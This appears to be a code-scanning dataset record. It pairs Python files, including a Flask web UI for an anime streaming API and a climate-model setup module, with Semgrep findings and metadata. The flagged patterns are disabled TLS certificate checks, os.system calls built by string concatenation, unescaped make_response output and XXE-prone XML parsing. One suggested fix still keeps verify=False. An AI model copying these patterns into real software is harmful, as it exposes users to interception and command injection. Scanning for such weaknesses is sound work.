"metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.security.disabled-cert-validation_2e25cd01d09e67da_9a08f847", "tool_name": "semgrep", "rule_id": "rules.python.requests.security.disabled-cert-validation", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "remediation": "requests.post(self.apex_url, soap_body, verify=True, \n headers=headers)", "location": {"file_path": "unknown", "line_start": 69, "line_end": 70, "column_start": 24, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.security.disabled-cert-validation", "path": "/tmp/tmp10dxl77l/2e25cd01d09e67da.py", "start": {"line": 69, "col": 24, "offset": 2121}, "end": {"line": 70, "col": 33, "offset": 2208}, "extra": {"message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "fix": "requests.post(self.apex_url, soap_body, verify=True, \n headers=headers)", "metadata": {"cwe": ["CWE-295: Improper Certificate Validation"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib"], "category": "security", "technology": ["requests"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_2e25cd01d09e67da_b6885949", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 140, "column_start": 24, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/2e25cd01d09e67da.py", "start": {"line": 139, "col": 24, "offset": 4908}, "end": {"line": 140, "col": 33, "offset": 4990}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_2e25cd01d09e67da_bdcbc9da", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.post(self.apex_url, body, verify=False, \n headers=headers, timeout=30)", "location": {"file_path": "unknown", "line_start": 139, "line_end": 140, "column_start": 24, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/2e25cd01d09e67da.py", "start": {"line": 139, "col": 24, "offset": 4908}, "end": {"line": 140, "col": 33, "offset": 4990}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.post(self.apex_url, body, verify=False, \n headers=headers, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.security.disabled-cert-validation_2e25cd01d09e67da_38d0d3d3", "tool_name": "semgrep", "rule_id": "rules.python.requests.security.disabled-cert-validation", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "remediation": "requests.post(self.apex_url, body, verify=True, \n headers=headers)", "location": {"file_path": "unknown", "line_start": 139, "line_end": 140, "column_start": 24, "column_end": 33, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.security.disabled-cert-validation", "path": "/tmp/tmp10dxl77l/2e25cd01d09e67da.py", "start": {"line": 139, "col": 24, "offset": 4908}, "end": {"line": 140, "col": 33, "offset": 4990}, "extra": {"message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "fix": "requests.post(self.apex_url, body, verify=True, \n headers=headers)", "metadata": {"cwe": ["CWE-295: Improper Certificate Validation"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib"], "category": "security", "technology": ["requests"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
7
true
[ "CWE-611", "CWE-295", "CWE-295" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.requests.security.disabled-cert-validation", "rules.python.requests.security.disabled-cert-validation" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "HIGH", "HIGH", "HIGH" ]
[ 8, 69, 139 ]
[ 8, 70, 140 ]
[ 1, 24, 24 ]
[ 49, 33, 33 ]
[ "A04:2017 - XML External Entities (XXE)", "A03:2017 - Sensitive Data Exposure", "A03:2017 - Sensitive Data Exposure" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "Certificate verification has been explicitly disabled. Thi...
[ 7.5, 7.5, 7.5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "LOW", "LOW" ]
apex.py
/salesforce/api/apex.py
xjsender/haoide
MIT
2024-11-18T21:23:12.779616+00:00
1,479,142,523,000
4efea511ac845b8a9e7765fcad60421fbedeff75
2
{ "blob_id": "4efea511ac845b8a9e7765fcad60421fbedeff75", "branch_name": "refs/heads/master", "committer_date": 1479142523000, "content_id": "95a638ae44037033c2640cad124f88e986518f09", "detected_licenses": [ "MIT" ], "directory_id": "dbc9deef8be7c0d3567351fa1339793c470102b2", "extension": "py", "filename": "webui.py", "fork_events_count": 3, "gha_created_at": 1450477650000, "gha_event_created_at": 1462361663000, "gha_language": "Python", "gha_license_id": null, "github_id": 48259284, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2729, "license": "MIT", "license_type": "permissive", "path": "/webui/webui.py", "provenance": "stack-edu-0054.json.gz:588260", "repo_name": "ABusers/A-Certain-Magical-API", "revision_date": 1479142523000, "revision_id": "7c2866397bf62c4223606001736c9b8f52f221cf", "snapshot_id": "39241ecd3cc5fb9812d23f23f5e96aac85c909a0", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/ABusers/A-Certain-Magical-API/7c2866397bf62c4223606001736c9b8f52f221cf/webui/webui.py", "visit_date": "2021-01-13T00:41:25.452860" }
2.328125
stackv2
#!/usr/bin/env python # coding: utf-8 import os import sys import requests import jinja2 from flask import Flask, make_response, render_template # import the funimation file sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) import funimation from subprocess import check_output f = funimation.Funimation() if sys.platform not in {'iphoneos', 'win32'}: version = check_output(['git', 'rev-parse', '--short', 'HEAD']) else: version = 'Unavailable' def process_image(url): file_name = url.split('/')[-1] if not os.path.exists('static/img_cache'): os.mkdir('static/img_cache') if not os.path.exists('static/img_cache/'+file_name): req = requests.get(url) image = open('static/img_cache/'+file_name,'w+b') image.write(req.content) image.close() return file_name app = Flask(__name__) app.config.from_object('config') shows = f.get_shows() s = requests.session() s.headers = {'User-Agent': 'Sony-PS3'} @app.context_processor def set_version(): return {'version': version} @app.route('/') def index(): return render_template('shows.html', shows=shows, p=process_image) @app.route('/show/<int:asset_id>/<subdub>') def show(asset_id, subdub): show_title = shows[shows.index(str(asset_id))].label if subdub not in ["sub", "dub"]: return "Error: invalid sub/dub selection" try: eps = [x for x in f.get_videos(int(asset_id)) if x.dub_sub.lower() == subdub] # Hacky, needs architecture fix except AttributeError: # FIXME: This is not the correct way to do this. return render_template('message.html', message="API Error: Does this show have any episodes?") return render_template('episodes.html', title=show_title, eps=eps, show_id=asset_id, subdub=subdub, p=process_image) @app.route('/show/<int:asset_id>/<int:episode_id>/play', defaults={'filename': None}) @app.route('/show/<int:asset_id>/<int:episode_id>/play/<filename>') def play_episode(asset_id, episode_id, filename): # Discard filename, that's just to make the browser happy. # Gross, needs architecture fix episode = None for ep in f.get_videos(asset_id): if int(ep.asset_id) == episode_id: episode = ep break playlist_url = episode.video_url response = make_response("#EXTM3U\n"+playlist_url) response.headers['Content-Type'] = 'application/vnd.apple.mpegurl' if filename is not None: response.headers['Content-Disposition'] = 'attachment' else: response.headers['Content-Disposition'] = 'attachment; filename=stream.m3u8' return response if __name__ == '__main__': app.run(host=app.config['HOST'], port=app.config['PORT'])
85
31.11
120
15
675
python
[{"finding_id": "semgrep_rules.python.requests.best-practice.use-raise-for-status_f740ef8210cc4272_77501a3f", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-raise-for-status", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 15, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-raise-for-status", "path": "/tmp/tmp10dxl77l/f740ef8210cc4272.py", "start": {"line": 24, "col": 15, "offset": 698}, "end": {"line": 24, "col": 32, "offset": 715}, "extra": {"message": "There's an HTTP request made with requests, but the raise_for_status() utility method isn't used. This can result in request errors going unnoticed and your code behaving in unexpected ways, such as if your authorization API returns a 500 error while you're only checking for a 401.", "metadata": {"references": ["https://requests.readthedocs.io/en/master/api/#requests.Response.raise_for_status"], "category": "best-practice", "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_f740ef8210cc4272_0c2d2ae2", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "requests.get(url, timeout=30)", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 15, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmp10dxl77l/f740ef8210cc4272.py", "start": {"line": 24, "col": 15, "offset": 698}, "end": {"line": 24, "col": 32, "offset": 715}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.get(url, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.flask.security.audit.xss.make-response-with-unknown-content_f740ef8210cc4272_deb92913", "tool_name": "semgrep", "rule_id": "rules.python.flask.security.audit.xss.make-response-with-unknown-content", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.", "remediation": "", "location": {"file_path": "unknown", "line_start": 75, "line_end": 75, "column_start": 16, "column_end": 55, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11", "title": null}, {"url": "https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response", "title": null}, {"url": "https://flask.palletsprojects.com/en/1.1.x/api/#response-objects", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.flask.security.audit.xss.make-response-with-unknown-content", "path": "/tmp/tmp10dxl77l/f740ef8210cc4272.py", "start": {"line": 75, "col": 16, "offset": 2320}, "end": {"line": 75, "col": 55, "offset": 2359}, "extra": {"message": "Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "references": ["https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11", "https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response", "https://flask.palletsprojects.com/en/1.1.x/api/#response-objects"], "category": "security", "technology": ["flask"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-79" ]
[ "rules.python.flask.security.audit.xss.make-response-with-unknown-content" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 75 ]
[ 75 ]
[ 16 ]
[ 55 ]
[ "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care ...
[ 5 ]
[ "LOW" ]
[ "MEDIUM" ]
webui.py
/webui/webui.py
ABusers/A-Certain-Magical-API
MIT
2024-11-18T21:23:16.789733+00:00
1,659,960,928,000
d86808419b1e4f0cabc708c2a4aca6e3b680e270
3
{ "blob_id": "d86808419b1e4f0cabc708c2a4aca6e3b680e270", "branch_name": "refs/heads/main", "committer_date": 1659960928000, "content_id": "f162cfb42653efe990167feab5fdbd5cb2c1feb5", "detected_licenses": [ "MIT" ], "directory_id": "42de2cf6758df695659cfc6ed6d945666dadf3c6", "extension": "py", "filename": "model_setup.py", "fork_events_count": 0, "gha_created_at": 1604355019000, "gha_event_created_at": 1673870499000, "gha_language": "Jupyter Notebook", "gha_license_id": "MIT", "github_id": 309507184, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11531, "license": "MIT", "license_type": "permissive", "path": "/src/models/model_setup.py", "provenance": "stack-edu-0054.json.gz:588287", "repo_name": "sdat2/seager19", "revision_date": 1659960928000, "revision_id": "add9b2b1e4f91ddd9559a2c05fe072eebd4fd64e", "snapshot_id": "88493eb02684c23bc3115084ff43ef745ec2c567", "src_encoding": "UTF-8", "star_events_count": 7, "url": "https://raw.githubusercontent.com/sdat2/seager19/add9b2b1e4f91ddd9559a2c05fe072eebd4fd64e/src/models/model_setup.py", "visit_date": "2023-05-23T22:16:18.693532" }
2.75
stackv2
"""Set up the model, copy the files, get the names.""" import os from omegaconf import DictConfig from src.constants import ( OCEAN_RUN_PATH, OCEAN_SRC_PATH, OCEAN_DATA_PATH, ATMOS_DATA_PATH, ATMOS_TMP_PATH, MODEL_NAMES, VAR_DICT, ) from src.model_utils.mem_to_input import mem_to_dict class ModelSetup: """Initialise, store, and setup directories for models.""" def __init__(self, direc: str, cfg: DictConfig, make_move: bool = True) -> None: """ Model directories init. Copies directories, relevant files, and creates Args: direc (str): The main model directory. cfg (DictConfig): The config object. make_move (bool): whether to move the files and make the folders. Defaults to True. """ # setup ocean paths self.direc = direc self.cfg = cfg # setup general output paths self.gif_path = os.path.join(direc, "gifs") self.nino_data_path = os.path.join(direc, "nino_data") self.nino_plot_path = os.path.join(direc, "nino_plot") self.plot_path = os.path.join(direc, "plots") # setup ocean paths self.ocean_path = os.path.join(direc, "ocean") self.ocean_run_path = os.path.join(self.ocean_path, "RUN") self.ocean_src_path = os.path.join(self.ocean_path, "SRC") self.ocean_data_path = os.path.join(self.ocean_path, "DATA") self.ocean_output_path = os.path.join(self.ocean_path, "output") self.ocean_old_io_path = os.path.join(self.ocean_path, "old_io") # setup atmospheric paths self.atmos_path = os.path.join(direc, "atmos") self.atmos_data_path = os.path.join(self.atmos_path, "DATA") self.atmos_tmp_path = os.path.join(self.atmos_path, "tmp") # the different model names in a dict? - used by key from self.mem. # most of this data isn't available. self.names: dict = MODEL_NAMES # dict of variables that are read in. self.var: dict = VAR_DICT # temperature of the surface, cloud area fraction, surface wind, rel humidity. self.input_dict = mem_to_dict(self.cfg.atm.mem) if make_move: for i in [ # make general paths self.gif_path, self.nino_data_path, self.nino_plot_path, self.plot_path, # make ocean paths self.ocean_path, self.ocean_run_path, self.ocean_src_path, self.ocean_data_path, self.ocean_output_path, self.ocean_old_io_path, # make atmos paths self.atmos_path, self.atmos_data_path, self.atmos_tmp_path, ]: if not os.path.exists(i): os.mkdir(i) # make symlinks in ocean model for i, j in [ [self.ocean_data_path, os.path.join(self.ocean_run_path, "DATA")], [self.ocean_data_path, os.path.join(self.ocean_src_path, "DATA")], [self.ocean_output_path, os.path.join(self.ocean_run_path, "output")], [self.ocean_output_path, os.path.join(self.ocean_src_path, "output")], ]: if not os.path.exists(j): os.symlink(i, j) self._init_ocean() self._init_atmos() def _init_ocean(self) -> None: """initialise the ocean model by copying files over.""" for file_ending in ["*.F", "*.c", "*.h", "*.inc", "*.mod", ".tios"]: os.system( "cd " + str(OCEAN_SRC_PATH) + " \n cp " + file_ending + " " + str(self.ocean_src_path) ) os.system( "cd " + str(OCEAN_SRC_PATH) + " \n cp " + "Makefile" + " " + str(self.ocean_src_path) ) os.system( "cd " + str(OCEAN_RUN_PATH) + " \n cp " + "*" + " " + str(self.ocean_run_path) ) os.system( "cd " + str(OCEAN_DATA_PATH) + " \n cp " + "*" + " " + str(self.ocean_data_path) ) os.system("cd " + str(self.ocean_data_path) + " \n make all") def _init_atmos(self) -> None: """Creating atmos by copying files over.""" os.system( "cd " + str(ATMOS_DATA_PATH) + " \n cp " + "*" + " " + str(self.atmos_data_path) ) os.system( "cd " + str(ATMOS_TMP_PATH) + " \n cp " + "*" + " " + str(self.atmos_tmp_path) ) # Iteration 0 is the initial name, itertion Z+ returns # a new name. The name alone should be an option to # allow renaming to occur. # pylint: disable=missing-function-docstring def tcam_output(self, path: bool = True) -> str: name = ( "S91" + "-hq" + str(self.cfg.atm.h_q) + "-prcp_land" + str(self.cfg.atm.prcp_land) + ".nc" ) if path: return os.path.join(self.atmos_path, name) else: return name def dq_output(self, path: bool = True) -> str: name = "dQ.nc" if path: return os.path.join(self.atmos_path, name) else: return name def q_output(self, path: bool = True) -> str: name = "Q.nc" if path: return os.path.join(self.atmos_path, name) else: return name def ts_clim(self, it: int, path: bool = True) -> str: if it == 0: name = self.clim_file("ts", "clim", "", path=False) # name = self.clim_name(0, path=False) # "ts-ECMWF-clim.nc" else: name = "ts-" + str(it) + "-clim.nc" if path: return os.path.join(self.atmos_data_path, name) else: return name def ts_clim60(self, it: int, path: bool = True) -> str: if it == 0: name = self.clim_file("ts", "clim", "60", path=False) else: name = "ts-" + str(it) + "-clim60.nc" if path: return os.path.join(self.atmos_data_path, name) else: return name def ts_trend(self, it: int, path: bool = True) -> str: if it == 0: name = self.clim_file("ts", "trend", "", path=False) else: name = "ts-" + str(it) + "-trend.nc" if path: return os.path.join(self.atmos_data_path, name) else: return name def tau_base(self, it: int, path: bool = True) -> str: if it == 0: name = self.clim_file("tau", "", "", path=False)[:-4] else: name = "it_" + str(it) + "_tau" if path: return os.path.join(self.ocean_data_path, name) else: return name def tau_y(self, it: int, path: bool = True) -> str: return self.tau_base(it, path=path) + ".y" def tau_x(self, it: int, path: bool = True) -> str: return self.tau_base(it, path=path) + ".x" def tau_clim_base(self, it: int, path: bool = True) -> str: if it == 0: name = self.clim_file("tau", "clim", path=False)[:-3] else: name = "it_" + str(it) + "_clim_tau" if path: return os.path.join(self.ocean_data_path, name) else: return name def tau_clim_y(self, it: int, path: bool = True) -> str: return self.tau_clim_base(it, path=path) + ".y" def tau_clim_x(self, it: int, path: bool = True) -> str: return self.tau_clim_base(it, path=path) + ".x" def dq_df(self, it: int, path: bool = True) -> str: if it == 0: name = "dQdf-sample.nc" else: name = "it_" + str(it) + "_dq_df.nc" if path: return os.path.join(self.ocean_data_path, name) else: return name def dq_dt(self, it: int, path: bool = True) -> str: if it == 0: name = "dQdT-sample.nc" else: name = "it_" + str(it) + "_dq_dt.nc" if path: return os.path.join(self.ocean_data_path, name) else: return name def om_run2f_nc(self) -> str: return os.path.join(self.ocean_output_path, "om_run2f.nc") def ecmwf_sfcwind(self) -> str: return os.path.join(self.atmos_data_path, "sfcWind-ECMWF-clim.nc") def om_mask(self) -> str: return os.path.join(self.ocean_data_path, "om_mask.nc") def nino_png(self, it: int) -> str: return os.path.join(self.nino_plot_path, "nino_" + str(it) + ".png") def nino_nc(self, it: int) -> str: return os.path.join(self.nino_data_path, "nino_" + str(it) + ".nc") def coupling_video(self, pac: bool = False, mask_land=False) -> str: name = "coupling" if pac: name += "_pac" if mask_land: name += "_mask" return os.path.join(self.gif_path, name + ".gif") def prcp_quiver_plot(self) -> str: return os.path.join(self.plot_path, "prcp_quiver.png") def tuq_trend_plot(self) -> str: return os.path.join(self.plot_path, "tuq_trends.png") def rep_plot(self, num: str, suffix: str = "") -> str: return os.path.join(self.plot_path, "fig_" + str(num) + suffix + ".png") def _get_clim_name(self, var_num: int) -> str: return self.names[self.cfg.atm.mem[var_num]] def clim_file( self, var_name: str, typ: str = "clim", appendage: str = "", path: bool = True ) -> str: if var_name == "sst": input_name = self.input_dict["ts"] else: input_name = self.input_dict[var_name] name = var_name + "-" + input_name + "-" + typ + appendage + ".nc" if path: return os.path.join(self.atmos_data_path, name) else: return name def clim60_name(self, var_num: int, path: bool = True) -> str: return self.clim_file(self.var[var_num], "clim", "60", path=path) def clim_name(self, var_num: int, path: bool = True) -> str: return self.clim_file(self.var[var_num], "clim", "", path=path) ## Ocean default input files: def stress_file(self) -> str: """ # these are the default start files. # most of these are changed during the run # TODO remove these file names, move control elsewhere. wind_clim_file: tau-ECMWF-clim wind_file: tau-ECMWF dq_dtemp_file: dQdT-sample.nc dq_df_file: dQdf-sample.nc sst_file: sst-ECMWF-clim.nc mask_file: om_mask.nc """ return "tau-ECMWF" def stress_clim_file(self) -> str: return "tau-ECMWF-clim" def dq_dtemp_file(self) -> str: return "dQdT-sample.nc" def dq_df_file(self) -> str: return "dQdf-sample.nc" def sst_file(self) -> str: return "sst-ECMWF-clim.nc" def sst_replacement_file(self) -> str: return "sst-" + MODEL_NAMES[self.cfg.atm.mem[0]] + "-clim.nc" def mask_file(self) -> str: return "om_mask.nc"
372
30
86
18
2,985
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d0fb57e9cce55d08_058d4f1a", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 107, "line_end": 114, "column_start": 13, "column_end": 14, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/d0fb57e9cce55d08.py", "start": {"line": 107, "col": 13, "offset": 3689}, "end": {"line": 114, "col": 14, "offset": 3896}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d0fb57e9cce55d08_e4f9fa07", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 116, "line_end": 123, "column_start": 9, "column_end": 10, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], 